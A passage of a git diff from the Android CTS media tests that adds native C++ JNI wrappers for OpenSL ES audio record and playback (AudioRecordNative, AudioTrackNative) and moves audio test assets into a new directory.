+        size_t size = framesPerBuffer * numBuffers * frameSize;
+        for (size_t offset = 0; size - offset > 0; ) {
+            ssize_t amount = record.read((char *)buffer + offset, size -offset);
+            // ALOGD("read amount: %zd", amount);
+            if (amount < 0) break;
+            offset += amount;
+            usleep(5 * 1000 /* usec */);
+        }
+
+        res = record.stop();
+        break;
+    }
+    record.close();
+    free(buffer);
+    return res;
+}
+
+extern "C" jlong Java_android_media_audio_cts_AudioRecordNative_nativeCreateRecord(
+    JNIEnv * /* env */, jclass /* clazz */)
+{
+    return (jlong)(new shared_pointer<AudioRecordNative>(new AudioRecordNative()));
+}
+
+extern "C" void Java_android_media_audio_cts_AudioRecordNative_nativeDestroyRecord(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
+{
+    delete (shared_pointer<AudioRecordNative> *)jrecord;
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeOpen(
+        JNIEnv * /* env */, jclass /* clazz */, jlong jrecord,
+        jint numChannels, jint channelMask, jint sampleRate, jboolean useFloat, jint numBuffers)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint) record->open(numChannels, channelMask, sampleRate, useFloat == JNI_TRUE,
+            numBuffers);
+}
+
+extern "C" void Java_android_media_audio_cts_AudioRecordNative_nativeClose(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() != NULL) {
+        record->close();
+    }
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeStart(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint)record->start();
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeStop(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint)record->stop();
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativePause(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint)record->pause();
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeFlush(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint)record->flush();
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeGetPositionInMsec(
+    JNIEnv *env, jclass /* clazz */, jlong jrecord, jlongArray jPosition)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    int64_t pos;
+    status_t res = record->getPositionInMsec(&pos);
+    if (res != OK) {
+        return res;
+    }
+    jlong *nPostition = (jlong *) env->GetPrimitiveArrayCritical(jPosition, NULL /* isCopy */);
+    if (nPostition == NULL) {
+        ALOGE("Unable to get array for nativeGetPositionInMsec()");
+        return BAD_VALUE;
+    }
+    nPostition[0] = (jlong)pos;
+    env->ReleasePrimitiveArrayCritical(jPosition, nPostition, 0 /* mode */);
+    return OK;
+}
+
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeGetBuffersPending(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return (jint)0;
+    }
+    return (jint)record->getBuffersPending();
+}
+
+extern "C" jobject Java_android_media_audio_cts_AudioRecordNative_nativeGetRoutingInterface(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return NULL;
+    }
+    return record->getRoutingInterface();
+}
+
+template <typename T>
+static inline jint readFromRecord(jlong jrecord, T *data,
+    jint offsetInSamples, jint sizeInSamples, jint readFlags)
+{
+    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
+    if (record.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+
+    const bool isBlocking = readFlags & READ_FLAG_BLOCKING;
+    const size_t sizeInBytes = sizeInSamples * sizeof(T);
+    ssize_t ret = record->read(data + offsetInSamples, sizeInBytes, isBlocking == JNI_TRUE);
+    return (jint)(ret > 0 ? ret / sizeof(T) : ret);
+}
+
+template <typename T>
+static inline jint readArray(JNIEnv *env, jclass /* clazz */, jlong jrecord,
+        T javaAudioData, jint offsetInSamples, jint sizeInSamples, jint readFlags)
+{
+    if (javaAudioData == NULL) {
+        return (jint)BAD_VALUE;
+    }
+
+    auto cAudioData = envGetArrayElements(env, javaAudioData, NULL /* isCopy */);
+    if (cAudioData == NULL) {
+        ALOGE("Error retrieving destination of audio data to record");
+        return (jint)BAD_VALUE;
+    }
+
+    jint ret = readFromRecord(jrecord, cAudioData, offsetInSamples, sizeInSamples, readFlags);
+    envReleaseArrayElements(env, javaAudioData, cAudioData, 0 /* mode */);
+    return ret;
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeReadByteArray(
+    JNIEnv *env, jclass clazz, jlong jrecord,
+    jbyteArray byteArray, jint offsetInSamples, jint sizeInSamples, jint readFlags)
+{
+    return readArray(env, clazz, jrecord, byteArray, offsetInSamples, sizeInSamples, readFlags);
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeReadShortArray(
+    JNIEnv *env, jclass clazz, jlong jrecord,
+    jshortArray shortArray, jint offsetInSamples, jint sizeInSamples, jint readFlags)
+{
+    return readArray(env, clazz, jrecord, shortArray, offsetInSamples, sizeInSamples, readFlags);
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeReadFloatArray(
+    JNIEnv *env, jclass clazz, jlong jrecord,
+    jfloatArray floatArray, jint offsetInSamples, jint sizeInSamples, jint readFlags)
+{
+    return readArray(env, clazz, jrecord, floatArray, offsetInSamples, sizeInSamples, readFlags);
+}
diff --git a/tests/tests/media/audio/jni/audio-track-native.cpp b/tests/tests/media/audio/jni/audio-track-native.cpp
new file mode 100644
index 0000000..65f9e21
--- /dev/null
+++ b/tests/tests/media/audio/jni/audio-track-native.cpp
@@ -0,0 +1,582 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "audio-track-native"
+
+#include "Blob.h"
+#include "Gate.h"
+#include "sl-utils.h"
+
+#include <deque>
+#include <utils/Errors.h>
+
+// Select whether to use STL shared pointer or to use Android strong pointer.
+// We really don't promote any sharing of this object for its lifetime, but nevertheless could
+// change the shared pointer value on the fly if desired.
+#define USE_SHARED_POINTER
+
+#ifdef USE_SHARED_POINTER
+#include <memory>
+template <typename T> using shared_pointer = std::shared_ptr<T>;
+#else
+#include <utils/RefBase.h>
+template <typename T> using shared_pointer = android::sp<T>;
+#endif
+
+using namespace android;
+
+// Must be kept in sync with Java android.media.cts.AudioTrackNative.WriteFlags
+enum {
+    WRITE_FLAG_BLOCKING = (1 << 0),
+};
+
+// TODO: Add a single buffer blocking write mode which does not require additional memory.
+// TODO: Add internal buffer memory (e.g. use circular buffer, right now mallocs on heap).
+
+class AudioTrackNative
+#ifndef USE_SHARED_POINTER
+        : public RefBase // android strong pointers require RefBase
+#endif
+{
+public:
+    AudioTrackNative() :
+        mEngineObj(NULL),
+        mEngine(NULL),
+        mOutputMixObj(NULL),
+        mPlayerObj(NULL),
+        mPlay(NULL),
+        mBufferQueue(NULL),
+        mPlayState(SL_PLAYSTATE_STOPPED),
+        mNumBuffers(0)
+    { }
+
+    ~AudioTrackNative() {
+        close();
+    }
+
+    typedef std::lock_guard<std::recursive_mutex> auto_lock;
+
+    status_t open(jint numChannels, jint channelMask,
+                  jint sampleRate, jboolean useFloat, jint numBuffers) {
+        close();
+        auto_lock l(mLock);
+        mEngineObj = OpenSLEngine();
+        if (mEngineObj == NULL) {
+            ALOGW("cannot create OpenSL ES engine");
+            return INVALID_OPERATION;
+        }
+
+        SLresult res;
+        for (;;) {
+            /* Get the SL Engine Interface which is implicit */
+            res = (*mEngineObj)->GetInterface(mEngineObj, SL_IID_ENGINE, (void *)&mEngine);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            // Create Output Mix object to be used by player
+            res = (*mEngine)->CreateOutputMix(
+                    mEngine, &mOutputMixObj, 0 /* numInterfaces */,
+                    NULL /* pInterfaceIds */, NULL /* pInterfaceRequired */);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            // Realizing the Output Mix object in synchronous mode.
+            res = (*mOutputMixObj)->Realize(mOutputMixObj, SL_BOOLEAN_FALSE /* async */);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            /* Setup the data source structure for the buffer queue */
+            SLDataLocator_BufferQueue bufferQueue;
+            bufferQueue.locatorType = SL_DATALOCATOR_BUFFERQUEUE;
+            bufferQueue.numBuffers = numBuffers;
+            mNumBuffers = numBuffers;
+
+            /* Setup the format of the content in the buffer queue */
+
+            SLAndroidDataFormat_PCM_EX pcm;
+            pcm.formatType = useFloat ? SL_ANDROID_DATAFORMAT_PCM_EX : SL_DATAFORMAT_PCM;
+            pcm.numChannels = numChannels;
+            pcm.sampleRate = sampleRate * 1000;
+            pcm.bitsPerSample = useFloat ?
+                    SL_PCMSAMPLEFORMAT_FIXED_32 : SL_PCMSAMPLEFORMAT_FIXED_16;
+            pcm.containerSize = pcm.bitsPerSample;
+            pcm.channelMask = channelMask;
+            pcm.endianness = SL_BYTEORDER_LITTLEENDIAN;
+            // additional
+            pcm.representation = useFloat ? SL_ANDROID_PCM_REPRESENTATION_FLOAT
+                                    : SL_ANDROID_PCM_REPRESENTATION_SIGNED_INT;
+            SLDataSource audioSource;
+            audioSource.pFormat = (void *)&pcm;
+            audioSource.pLocator = (void *)&bufferQueue;
+
+            /* Setup the data sink structure */
+            SLDataLocator_OutputMix locator_outputmix;
+            locator_outputmix.locatorType = SL_DATALOCATOR_OUTPUTMIX;
+            locator_outputmix.outputMix = mOutputMixObj;
+
+            SLDataSink audioSink;
+            audioSink.pLocator = (void *)&locator_outputmix;
+            audioSink.pFormat = NULL;
+
+            SLboolean required[1];
+            SLInterfaceID iidArray[1];
+            required[0] = SL_BOOLEAN_TRUE;
+            iidArray[0] = SL_IID_BUFFERQUEUE;
+
+            res = (*mEngine)->CreateAudioPlayer(mEngine, &mPlayerObj,
+                    &audioSource, &audioSink, 1 /* numInterfaces */, iidArray, required);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            res = (*mPlayerObj)->Realize(mPlayerObj, SL_BOOLEAN_FALSE /* async */);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            res = (*mPlayerObj)->GetInterface(mPlayerObj, SL_IID_PLAY, (void*)&mPlay);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            res = (*mPlayerObj)->GetInterface(
+                    mPlayerObj, SL_IID_BUFFERQUEUE, (void*)&mBufferQueue);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            /* Setup to receive buffer queue event callbacks */
+            res = (*mBufferQueue)->RegisterCallback(mBufferQueue, BufferQueueCallback, this);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            // success
+            break;
+        }
+        if (res != SL_RESULT_SUCCESS) {
+            close(); // should be safe to close even with lock held
+            ALOGW("open error %s", android::getSLErrStr(res));
+            return INVALID_OPERATION;
+        }
+        return OK;
+    }
+
+    void close() {
+        SLObjectItf engineObj;
+        SLObjectItf outputMixObj;
+        SLObjectItf playerObj;
+        {
+            auto_lock l(mLock);
+            if (mPlay != NULL && mPlayState != SL_PLAYSTATE_STOPPED) {
+                (void)stop();
+            }
+            // once stopped, we can unregister the callback
+            if (mBufferQueue != NULL) {
+                (void)(*mBufferQueue)->RegisterCallback(
+                        mBufferQueue, NULL /* callback */, NULL /* *pContext */);
+            }
+            (void)flush();
+            engineObj = mEngineObj;
+            outputMixObj = mOutputMixObj;
+            playerObj = mPlayerObj;
+            // clear out interfaces and objects
+            mPlay = NULL;
+            mBufferQueue = NULL;
+            mEngine = NULL;
+            mPlayerObj = NULL;
+            mOutputMixObj = NULL;
+            mEngineObj = NULL;
+            mPlayState = SL_PLAYSTATE_STOPPED;
+        }
+        // destroy without lock
+        if (playerObj != NULL) {
+            (*playerObj)->Destroy(playerObj);
+        }
+        if (outputMixObj != NULL) {
+            (*outputMixObj)->Destroy(outputMixObj);
+        }
+        if (engineObj != NULL) {
+            CloseSLEngine(engineObj);
+        }
+    }
+
+    status_t setPlayState(SLuint32 playState) {
+        auto_lock l(mLock);
+        if (mPlay == NULL) {
+            return INVALID_OPERATION;
+        }
+        SLresult res = (*mPlay)->SetPlayState(mPlay, playState);
+        if (res != SL_RESULT_SUCCESS) {
+            ALOGW("setPlayState %d error %s", playState, android::getSLErrStr(res));
+            return INVALID_OPERATION;
+        }
+        mPlayState = playState;
+        return OK;
+    }
+
+    SLuint32 getPlayState() {
+        auto_lock l(mLock);
+        if (mPlay == NULL) {
+            return SL_PLAYSTATE_STOPPED;
+        }
+        SLuint32 playState;
+        SLresult res = (*mPlay)->GetPlayState(mPlay, &playState);
+        if (res != SL_RESULT_SUCCESS) {
+            ALOGW("getPlayState error %s", android::getSLErrStr(res));
+            return SL_PLAYSTATE_STOPPED;
+        }
+        return playState;
+    }
+
+    status_t getPositionInMsec(int64_t *position) {
+        auto_lock l(mLock);
+        if (mPlay == NULL) {
+            return INVALID_OPERATION;
+        }
+        if (position == NULL) {
+            return BAD_VALUE;
+        }
+        SLuint32 pos;
+        SLresult res = (*mPlay)->GetPosition(mPlay, &pos);
+        if (res != SL_RESULT_SUCCESS) {
+            ALOGW("getPosition error %s", android::getSLErrStr(res));
+            return INVALID_OPERATION;
+        }
+        // only lower 32 bits valid
+        *position = pos;
+        return OK;
+    }
+
+    status_t start() {
+        return setPlayState(SL_PLAYSTATE_PLAYING);
+    }
+
+    status_t pause() {
+        return setPlayState(SL_PLAYSTATE_PAUSED);
+    }
+
+    status_t stop() {
+        return setPlayState(SL_PLAYSTATE_STOPPED);
+    }
+
+    status_t flush() {
+        auto_lock l(mLock);
+        status_t result = OK;
+        if (mBufferQueue != NULL) {
+            SLresult res = (*mBufferQueue)->Clear(mBufferQueue);
+            if (res != SL_RESULT_SUCCESS) {
+                return INVALID_OPERATION;
+            }
+        }
+
+        // possible race if the engine is in the callback
+        // safety is only achieved if the player is paused or stopped.
+        mDeliveredQueue.clear();
+        return result;
+    }
+
+    status_t write(const void *buffer, size_t size, bool isBlocking = false) {
+        std::lock_guard<std::mutex> rl(mWriteLock);
+        // not needed if we assume that a single thread is doing the reading
+        // or we always operate in non-blocking mode.
+
+        {
+            auto_lock l(mLock);
+            if (mBufferQueue == NULL) {
+                return INVALID_OPERATION;
+            }
+            if (mDeliveredQueue.size() < mNumBuffers) {
+                auto b = std::make_shared<BlobReadOnly>(buffer, size, false /* byReference */);
+                mDeliveredQueue.emplace_back(b);
+                (*mBufferQueue)->Enqueue(mBufferQueue, b->mData, b->mSize);
+                return size;
+            }
+            if (!isBlocking) {
+                return 0;
+            }
+            mWriteReady.closeGate(); // we're full.
+        }
+        if (mWriteReady.wait()) {
+            auto_lock l(mLock);
+            if (mDeliveredQueue.size() < mNumBuffers) {
+                auto b = std::make_shared<BlobReadOnly>(buffer, size, false /* byReference */);
+                mDeliveredQueue.emplace_back(b);
+                (*mBufferQueue)->Enqueue(mBufferQueue, b->mData, b->mSize);
+                return size;
+            }
+        }
+        ALOGW("unable to deliver write");
+        return 0;
+    }
+
+    void logBufferState() {
+        auto_lock l(mLock);
+        SLBufferQueueState state;
+        SLresult res = (*mBufferQueue)->GetState(mBufferQueue, &state);
+        CheckErr(res);
+        ALOGD("logBufferState state.count:%d  state.playIndex:%d", state.count, state.playIndex);
+    }
+
+    size_t getBuffersPending() {
+        auto_lock l(mLock);
+        return mDeliveredQueue.size();
+    }
+
+private:
+    void bufferQueueCallback(SLBufferQueueItf queueItf) {
+        auto_lock l(mLock);
+        if (queueItf != mBufferQueue) {
+            ALOGW("invalid buffer queue interface, ignoring");
+            return;
+        }
+        // logBufferState();
+
+        // remove from delivered queue
+        if (mDeliveredQueue.size()) {
+            mDeliveredQueue.pop_front();
+        } else {
+            ALOGW("no delivered data!");
+        }
+        if (!mWriteReady.isOpen()) {
+            mWriteReady.openGate();
+        }
+    }
+
+    static void BufferQueueCallback(SLBufferQueueItf queueItf, void *pContext) {
+        // naked native track
+        AudioTrackNative *track = (AudioTrackNative *)pContext;
+        track->bufferQueueCallback(queueItf);
+    }
+
+    SLObjectItf          mEngineObj;
+    SLEngineItf          mEngine;
+    SLObjectItf          mOutputMixObj;
+    SLObjectItf          mPlayerObj;
+    SLPlayItf            mPlay;
+    SLBufferQueueItf     mBufferQueue;
+    SLuint32             mPlayState;
+    SLuint32             mNumBuffers;
+    std::recursive_mutex mLock;           // monitor lock - locks public API methods and callback.
+                                          // recursive since it may call itself through API.
+    std::mutex           mWriteLock;      // write lock - for blocking mode, prevents multiple
+                                          // writer threads from overlapping writes.  this is
+                                          // generally unnecessary as writes occur from
+                                          // one thread only.  acquire this before mLock.
+    Gate                 mWriteReady;
+    std::deque<std::shared_ptr<BlobReadOnly>> mDeliveredQueue; // delivered to mBufferQueue
+};
+
+/* Java static methods.
+ *
+ * These are not directly exposed to the user, so we can assume a valid "jtrack" handle
+ * to be passed in.
+ */
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeTest(
+    JNIEnv * /* env */, jclass /* clazz */,
+    jint numChannels, jint channelMask, jint sampleRate, jboolean useFloat,
+    jint msecPerBuffer, jint numBuffers)
+{
+    AudioTrackNative track;
+    const size_t frameSize = numChannels * (useFloat ? sizeof(float) : sizeof(int16_t));
+    const size_t framesPerBuffer = msecPerBuffer * sampleRate / 1000;
+
+    status_t res;
+    void *buffer = calloc(framesPerBuffer * numBuffers, frameSize);
+    for (;;) {
+        res = track.open(numChannels, channelMask, sampleRate, useFloat, numBuffers);
+        if (res != OK) break;
+
+        for (int i = 0; i < numBuffers; ++i) {
+            track.write((char *)buffer + i * (framesPerBuffer * frameSize),
+                    framesPerBuffer * frameSize);
+        }
+
+        track.logBufferState();
+        res = track.start();
+        if (res != OK) break;
+
+        size_t buffers;
+        while ((buffers = track.getBuffersPending()) > 0) {
+            // ALOGD("outstanding buffers: %zu", buffers);
+            usleep(5 * 1000 /* usec */);
+        }
+        res = track.stop();
+        break;
+    }
+    track.close();
+    free(buffer);
+    return res;
+}
+
+extern "C" jlong Java_android_media_audio_cts_AudioTrackNative_nativeCreateTrack(
+    JNIEnv * /* env */, jclass /* clazz */)
+{
+    return (jlong)(new shared_pointer<AudioTrackNative>(new AudioTrackNative()));
+}
+
+extern "C" void Java_android_media_audio_cts_AudioTrackNative_nativeDestroyTrack(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
+{
+    delete (shared_pointer<AudioTrackNative> *)jtrack;
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeOpen(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack,
+    jint numChannels, jint channelMask, jint sampleRate,
+    jboolean useFloat, jint numBuffers)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint) track->open(numChannels,
+                              channelMask,
+                              sampleRate,
+                              useFloat == JNI_TRUE,
+                              numBuffers);
+}
+
+extern "C" void Java_android_media_audio_cts_AudioTrackNative_nativeClose(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() != NULL) {
+        track->close();
+    }
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeStart(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint)track->start();
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeStop(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint)track->stop();
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativePause(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint)track->pause();
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeFlush(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    return (jint)track->flush();
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeGetPositionInMsec(
+    JNIEnv *env, jclass /* clazz */, jlong jtrack, jlongArray jPosition)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+    int64_t pos;
+    status_t res = track->getPositionInMsec(&pos);
+    if (res != OK) {
+        return res;
+    }
+    jlong *nPostition = (jlong *) env->GetPrimitiveArrayCritical(jPosition, NULL /* isCopy */);
+    if (nPostition == NULL) {
+        ALOGE("Unable to get array for nativeGetPositionInMsec()");
+        return BAD_VALUE;
+    }
+    nPostition[0] = (jlong)pos;
+    env->ReleasePrimitiveArrayCritical(jPosition, nPostition, 0 /* mode */);
+    return OK;
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeGetBuffersPending(
+    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() == NULL) {
+        return (jint)0;
+    }
+    return (jint)track->getBuffersPending();
+}
+
+template <typename T>
+static inline jint writeToTrack(jlong jtrack, const T *data,
+    jint offsetInSamples, jint sizeInSamples, jint writeFlags)
+{
+    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
+    if (track.get() == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+
+    const bool isBlocking = writeFlags & WRITE_FLAG_BLOCKING;
+    const size_t sizeInBytes = sizeInSamples * sizeof(T);
+    ssize_t ret = track->write(data + offsetInSamples, sizeInBytes, isBlocking);
+    return (jint)(ret > 0 ? ret / sizeof(T) : ret);
+}
+
+template <typename T>
+static inline jint writeArray(JNIEnv *env, jclass /* clazz */, jlong jtrack,
+        T javaAudioData, jint offsetInSamples, jint sizeInSamples, jint writeFlags)
+{
+    if (javaAudioData == NULL) {
+        return (jint)INVALID_OPERATION;
+    }
+
+    auto cAudioData = envGetArrayElements(env, javaAudioData, NULL /* isCopy */);
+    if (cAudioData == NULL) {
+        ALOGE("Error retrieving source of audio data to play");
+        return (jint)BAD_VALUE;
+    }
+
+    jint ret = writeToTrack(jtrack, cAudioData, offsetInSamples, sizeInSamples, writeFlags);
+    envReleaseArrayElements(env, javaAudioData, cAudioData, 0 /* mode */);
+    return ret;
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeWriteByteArray(
+    JNIEnv *env, jclass clazz, jlong jtrack,
+    jbyteArray byteArray, jint offsetInSamples, jint sizeInSamples, jint writeFlags)
+{
+    ALOGV("nativeWriteByteArray(%p, %d, %d, %d)",
+            byteArray, offsetInSamples, sizeInSamples, writeFlags);
+    return writeArray(env, clazz, jtrack, byteArray, offsetInSamples, sizeInSamples, writeFlags);
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeWriteShortArray(
+    JNIEnv *env, jclass clazz, jlong jtrack,
+    jshortArray shortArray, jint offsetInSamples, jint sizeInSamples, jint writeFlags)
+{
+    ALOGV("nativeWriteShortArray(%p, %d, %d, %d)",
+            shortArray, offsetInSamples, sizeInSamples, writeFlags);
+    return writeArray(env, clazz, jtrack, shortArray, offsetInSamples, sizeInSamples, writeFlags);
+}
+
+extern "C" jint Java_android_media_audio_cts_AudioTrackNative_nativeWriteFloatArray(
+    JNIEnv *env, jclass clazz, jlong jtrack,
+    jfloatArray floatArray, jint offsetInSamples, jint sizeInSamples, jint writeFlags)
+{
+    ALOGV("nativeWriteFloatArray(%p, %d, %d, %d)",
+            floatArray, offsetInSamples, sizeInSamples, writeFlags);
+    return writeArray(env, clazz, jtrack, floatArray, offsetInSamples, sizeInSamples, writeFlags);
+}
diff --git a/tests/tests/media/libaudiojni/sl-utils.cpp b/tests/tests/media/audio/jni/sl-utils.cpp
similarity index 100%
rename from tests/tests/media/libaudiojni/sl-utils.cpp
rename to tests/tests/media/audio/jni/sl-utils.cpp
diff --git a/tests/tests/media/libaudiojni/sl-utils.h b/tests/tests/media/audio/jni/sl-utils.h
similarity index 100%
rename from tests/tests/media/libaudiojni/sl-utils.h
rename to tests/tests/media/audio/jni/sl-utils.h
diff --git a/tests/tests/media/res/raw/a_4.ogg b/tests/tests/media/audio/res/raw/a_4.ogg
similarity index 100%
rename from tests/tests/media/res/raw/a_4.ogg
rename to tests/tests/media/audio/res/raw/a_4.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/a_4_aac.mp4 b/tests/tests/media/audio/res/raw/a_4_aac.mp4
similarity index 100%
rename from tests/tests/media/res/raw/a_4_aac.mp4
rename to tests/tests/media/audio/res/raw/a_4_aac.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/a_4_haptic.ogg b/tests/tests/media/audio/res/raw/a_4_haptic.ogg
similarity index 100%
rename from tests/tests/media/res/raw/a_4_haptic.ogg
rename to tests/tests/media/audio/res/raw/a_4_haptic.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/b_5.ogg b/tests/tests/media/audio/res/raw/b_5.ogg
similarity index 100%
rename from tests/tests/media/res/raw/b_5.ogg
rename to tests/tests/media/audio/res/raw/b_5.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/b_5_aac.mp4 b/tests/tests/media/audio/res/raw/b_5_aac.mp4
similarity index 100%
rename from tests/tests/media/res/raw/b_5_aac.mp4
rename to tests/tests/media/audio/res/raw/b_5_aac.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/b_5_haptic.ogg b/tests/tests/media/audio/res/raw/b_5_haptic.ogg
similarity index 100%
rename from tests/tests/media/res/raw/b_5_haptic.ogg
rename to tests/tests/media/audio/res/raw/b_5_haptic.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/c_sharp_5.ogg b/tests/tests/media/audio/res/raw/c_sharp_5.ogg
similarity index 100%
rename from tests/tests/media/res/raw/c_sharp_5.ogg
rename to tests/tests/media/audio/res/raw/c_sharp_5.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/c_sharp_5_aac.mp4 b/tests/tests/media/audio/res/raw/c_sharp_5_aac.mp4
similarity index 100%
rename from tests/tests/media/res/raw/c_sharp_5_aac.mp4
rename to tests/tests/media/audio/res/raw/c_sharp_5_aac.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/c_sharp_5_haptic.ogg b/tests/tests/media/audio/res/raw/c_sharp_5_haptic.ogg
similarity index 100%
rename from tests/tests/media/res/raw/c_sharp_5_haptic.ogg
rename to tests/tests/media/audio/res/raw/c_sharp_5_haptic.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/e_5.ogg b/tests/tests/media/audio/res/raw/e_5.ogg
similarity index 100%
rename from tests/tests/media/res/raw/e_5.ogg
rename to tests/tests/media/audio/res/raw/e_5.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/e_5_aac.mp4 b/tests/tests/media/audio/res/raw/e_5_aac.mp4
similarity index 100%
rename from tests/tests/media/res/raw/e_5_aac.mp4
rename to tests/tests/media/audio/res/raw/e_5_aac.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/e_5_haptic.ogg b/tests/tests/media/audio/res/raw/e_5_haptic.ogg
similarity index 100%
rename from tests/tests/media/res/raw/e_5_haptic.ogg
rename to tests/tests/media/audio/res/raw/e_5_haptic.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/g_sharp_5.ogg b/tests/tests/media/audio/res/raw/g_sharp_5.ogg
similarity index 100%
rename from tests/tests/media/res/raw/g_sharp_5.ogg
rename to tests/tests/media/audio/res/raw/g_sharp_5.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/g_sharp_5_aac.mp4 b/tests/tests/media/audio/res/raw/g_sharp_5_aac.mp4
similarity index 100%
rename from tests/tests/media/res/raw/g_sharp_5_aac.mp4
rename to tests/tests/media/audio/res/raw/g_sharp_5_aac.mp4
